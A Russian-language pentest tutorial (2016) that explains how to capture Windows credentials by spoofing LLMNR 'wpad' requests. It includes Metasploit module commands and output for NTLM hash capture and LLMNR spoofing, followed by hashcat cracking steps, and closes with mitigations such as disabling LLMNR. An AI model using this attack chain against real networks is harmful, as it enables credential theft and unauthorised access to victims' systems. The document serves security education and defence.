03.04.2016

Как получить учетные записи в Windows через протокол LLMNR

image

Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.

Автор: David Lodge

Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.

Суть метода заключалась в прослушивании широковещательных запросов, связанных с преобразованием имен, передаваемых по протоколу NetBIOS. В качестве ответа злоумышленник подменяет IP-адрес, заставляя жертву подключиться в нужное место. Техника может быть полезна в том случае, если вы хотите получить учетные записи пользователя и управляете сервером, на котором находится запрашиваемая веб-страница. Вы настраиваете сервер так, чтобы спровоцировать NT-аутентификацию, и пользователь, ни о чем не подозревая, отправляет вам свои учетные данные.

Недавно я выяснил, что подобную атаку можно осуществить и на протокол LLMNR, который используется в Windows 7 и более поздних версиях.

Что такое LLMNR

Звучит как заболевание, устойчивое к микробам, не так ли? На самом деле, эта аббревиатура расшифровывается как Local Loop Multicast Name Resolution. «Ок, зачем нужен этот протокол?», - спросите вы. Это легковесная служба имен, использующая группу абонентов (multicast group) для поиска и преобразования базовых имен внутри небольшой сети. Одно из главных преимуществ заключается в том, что этот протокол корректно работает и в сети IPv4 и в сети IPv6, что выглядит примерно так:

LLMNR1

Рисунок 1: Схема работы протокола LLMNR

Внимательные читатели заметят, что запрос, показанный выше, отсылается в сети IPv6 (запрос на преобразование ff02::1:3). В сети IPv4 запрос будет отправлен на IP-адрес 224.0.0.252. Поскольку используется мультикастинг, запрос отправится в сеть (обычно просто в локальный сегмент).

В Windows подобная схема именуется как Сетевое обнаружение (Network Discovery) и может быть включена в Центре управления сетями и общим доступом.

LLMNR2

Рисунок 2: Настройка сетевого обнаружения

Проблемы в протоколе LLMNR

У протокола LLMNR те же самые проблемы, что и в NetBIOS. Служба имен отсылает сообщение всем клиентам в сети, а не конкретному серверу. Это означает, что клиент неявно доверяет всем, кого видит.

Наша задача заключается в прослушивании запросов к хосту и перенаправлении этих запросов к подконтрольному нам серверу. После соединения мы запрашиваем аутентификацию, и Windows с превеликим удовольствием отсылает нам учетные данные. 

Для решения этой задачи мы можем использовать автоматический прокси-сервер, предусмотренный в Internet Explorer. Когда вы запускаете Internet Explorer с настройкой автоматического прокси-сервера, на хост отсылается запрос «wpad», а после соединения с хостом скачивается файл wpad.dat. Более подробно об этой технологии рассказывает русскоязычная и англоязычная Википедия.

Windows 7+ делает запрос wpad через следующие протоколы:

  • DNS (одноадресный запрос wpad)
  • NetBIOS (широковещательный запрос WPAD)
  • LLMNR (многоадресный запрос wpad)

Поскольку по протоколу DNS идет одиночный запрос, мы должны осуществить атаку типа «Человек посередине». О NetBIOS уже говорилось в других статьях. Я же хочу коснуться протокола LLMNR.

Как было сказано выше, мы перенаправляем запрос на подконтрольный нам сервер, запрашиваем аутентификацию и ждем, когда нам пришлют учетную запись.

Рассмотрим суть происходящего через Wireshark:

LLMNR3

Рисунок 3: Запросы, отправляемые по протоколу LLMNR

На рисунке выше показаны запросы, отправляемые по протоколу LLMNR для сети IPv4 (записи типа A) и для сети IPv6 (записи типа AAAA). Кроме того, показаны запросы к файлу wpad.dat и попытка аутентификации.

Настраиваем Metasploit

Как и в случае с NetBIOS мы будем использовать Metasploit. Наш пример чуть более сложен по сравнению со стандартными эксплоитами, поскольку нужно запустить два вспомогательных модуля.

Во-первых, нужно настроить веб-сервер, на который будут приходить хеши паролей. Используем модуль auxiliary/server/capture/http_ntlm:

msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set johnpwfile /root/out.txt
johnpwfile => /root/out.txt
msf auxiliary(http_ntlm) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf auxiliary(http_ntlm) > set srvport 80
srvport => 80
msf auxiliary(http_ntlm) > exploit
[*] Auxiliary module execution completed
[*] Using URL: http://192.168.0.100:80/AuGOLjaEu2L1VE
[*] Server started.

Вышеуказанный модуль запускает веб-сервер, который ожидает URL, запрашивает аутентификацию и хранит полученные хеши. (NT-аутентификация состоит из трех шагов).

Мы можем обратиться к новому веб-серверу через обычный браузер, и тут нет ничего выдающегося, поскольку нашу поддельную страницу пользователь не увидит.

LLMNR4

Рисунок 4: Поддельная страница, на которую будет перенаправляться пользователь

Теперь нам нужно нечто, что позволит наладить взаимодействие с веб-сервером. Используем модуль auxiliary/spoof/llmnr/llmnr_response module:

msf auxiliary(http_ntlm) > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > set interface eth2
interface => eth2
msf auxiliary(llmnr_response) > set spoofip 192.168.0.100
spoofip => 192.168.0.100
msf auxiliary(llmnr_response) > set regex wpad
regex => wpad
msf auxiliary(llmnr_response) > exploit
[*] Auxiliary module execution completed
 
[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:wpad)" ...

Мы установили мультикастовый listener, который будет слушать запросы «wpad» по протоколу LLMNR и в ответ на эти запросы отсылать IP-адрес созданного ранее веб-сервера.

Получение паролей

На какое-то время оставьте запущенную связку модулей до тех пор, пока люди не откроют Internet Explorer и не начнут запрашивать файл wpad. Наиболее подходящее время – середина утра или обеденное время. В итоге вы получите файл, заполненный запросами на NT-аутентификацию.

Следующий шаг – расшифровка полученных хешей при помощи John the Ripper (jumbo patch) или, если у вас есть быстрая графическая карта, hashcat.

Вначале отфильтруем машинные аккаунты. Машинный аккаунт представляет собой NT-аккаунт, используемый компьютером для аутентификации при помощи учетной записи домена. Подобные учетные записи оканчивается символом ‘$’ (например, ASPHODEL$). В качестве фильтра используем следующую команду:

grep –v ‘\$:’ out.txt >filtered.txt

Затем указываем тип хеша 5600 (NetNTLMv2) и подбираем пароли при помощи hashcat:

c:\tools\passwords\hashcat>cudahashcat64 -m 5600 out.txt --remove --session llmnr ..\dictionaries

Как защититься от этой угрозы

Самый простой способ защиты – отключить протокол LLMNR, что необходимо сделать для каждого сетевого профиля. В панели управления зайдите в раздел Network and Sharing Center > Change Advanced Sharing Settings > profile > Network discovery и установить флажок «Turn off network discovery».

То же самое можно сделать через групповую политику: Administrative Templates > Network > Link-Layer Topology Discovery.

Помимо упомянутых настроек можно отключить автоматический прокси-сервер и указать принудительное использование конкретного адреса в качестве прокси.